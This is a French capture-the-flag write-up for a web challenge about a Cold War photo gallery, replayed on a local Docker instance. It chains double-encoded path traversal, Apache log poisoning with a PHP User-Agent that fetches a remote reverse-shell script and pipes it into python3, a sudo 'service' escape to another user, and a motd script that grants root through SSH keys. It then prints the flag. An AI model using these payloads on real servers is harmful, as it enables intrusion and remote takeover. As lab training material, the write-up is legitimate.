Énoncé
Bien plus qu'une simple Galerie - 500 points
Auteur: 0xSysRell
Solution
Note: j'ai rejoué ce chall sur un docker en local après le ctf pour faire le write up. Merci à 0xSysRell pour les sources :)
En arrivant sur le site web, nous pouvons voir une galerie de photo de la guerre froide. Ainsi qu'un menu en bas nous permettant de switcher entre 3 pages. !
Accueil
On remarque rapidement que la gestion des pages est gérée via le paramètre page dans l'url:
https://url:port/?page=contact.php
J'ai donc rapidement pensé à une LFI. Pour tester, j'ai essayé de leak le fichier /etc/passwd qui contient la liste des utilisateurs UNIX.
Après divers essais, il se touve qu'il y a un filtre qui retire "/" et "../"
Exemple:
http://url:9000/?page=cont/act.php -> rend correctement la page contact.php
http://url:9000/?page=conta../ct.php -> rend correctement la page contact.php
J'ai donc essayé une LFI via double encoding:
http://url:9000/?page=..%252f..%252f..%252fetc..%252fpasswd
Qui renvoie le fichier /etc/passwd avec succès.
On peut voir qu'il y a un utilisateur mitnick, ce qui nous donne dès lors un indice pour la suite du challenge: il va falloir se connecter sur le serveur. Le port ssh donné est également un indice.
J'ai alors essayé sans succès de leak des fichiers comme des clefs ssh. EN voyant que ce n'était pas possible, je me suis dit que je pouvais RCE autrement. Le serveur tourne sur apache:
$ HEAD http://localhost:9000/
200 OK
Connection: close
Date: Mon, 25 Apr 2022 17:06:56 GMT
Server: Apache/2.4.53 (Debian)
Content-Type: text/html; charset=UTF-8
Client-Date: Mon, 25 Apr 2022 17:06:56 GMT
Client-Peer: ::1:9000
Client-Response-Num: 1
X-Powered-By: PHP/8.1.5
On va donc pouvoir inclure le fichier de log d'apache ! Il se trouve généralement dans /var/log/apache2/access.log
On essaie:
http://localhost:9000/?page=..%252f..%252f..%252fvar..%252flog..%252fapache2..%252faccess.log
Et on obtient les logs ! On va donc pouvoir RCE en injectant un header contenant du code PHP. Pour cela on utilise généralement le User-Agent.
$ curl http://localhost:9000/ -H "User-Agent: <?php shell_exec('curl -s http://shell.woody.sh:3001/shell.py | python3'); ?>"
J'utilise généralement mon serveur pour héberger un script de reverse shell que je pipe directement dans python. Cela évite certains badchars, et marche plutôt bien en général. Grâce à mon serveur je n'ai pas besoin de NATer mon réseau.
Puis je recharge la page incluant les logs apache.
On reçoit bien la connexion !
Nous avons donc un shell en tant que www-data. Notre objectif pour le moment est de faire une élévation de privilège vers l'utilisateur mitnick
. En faisant des checks classique, on se rend compte que le user www-data peut exécuter la commande service en tant que mitnick.
$ sudo -l
Matching Defaults entries for www-data on 665a2417fb09:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on 665a2417fb09:
(mitnick) NOPASSWD: /usr/sbin/service
On se rend donc sur gtfobins et on cherche service... Bingo, il suffit d'exécuter la commande sudo -u mitnick service ../../bin/sh
et on exécute un shell avec les privilèges de mitnick
Bien, nous avons réussi notre première élévation de privilège. Mais toujours pas de flag en vue. Pour garder une persistence, je mets ma clef ssh publique dans le fichier ~/.ssh/authorized_keys et me login en ssh.
Et là, on peut apercevoir quelque chose de louche:
Linux 665a2417fb09 5.17.3-zen1-1-zen #1 ZEN SMP PREEMPT Thu, 14 Apr 2022 01:18:28 +0000 x86_64
Welcome agent !
Remember to put your keys in /opt/keys and reconnect with SSH to have access to the root user :)
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
On peut devenir root en mettant notre clef dans /opt/keys ??
Il y a un script custom dans le fichier /etc/update-motd.d:
#fichier 50-motd-news
#!/bin/sh
echo "Welcome agent !"
for key in $(find /opt/keys/ -type f); do cat $key >> /root/.ssh/authorized_keys; done
echo "Remember to put your keys in /opt/keys and reconnect with SSH to have access to the root user :)"
Il semblerait que notre clef soit mise automatiquement dans le fichier authorized_keys du user root !
On se déconnecte puis reconnecte, puis on se déconnecte et reconnecte cette fois en tant que root !
root@665a2417fb09:~# id
uid=0(root) gid=0(root) groups=0(root)
root@665a2417fb09:~# ls
flag.txt
root@665a2417fb09:~# cat flag.txt
MCTF{lf1_70_rc3_70_r007_15_3z!}
Et nous obtenons le flag ! Petit challenge pas très dur et assez fun.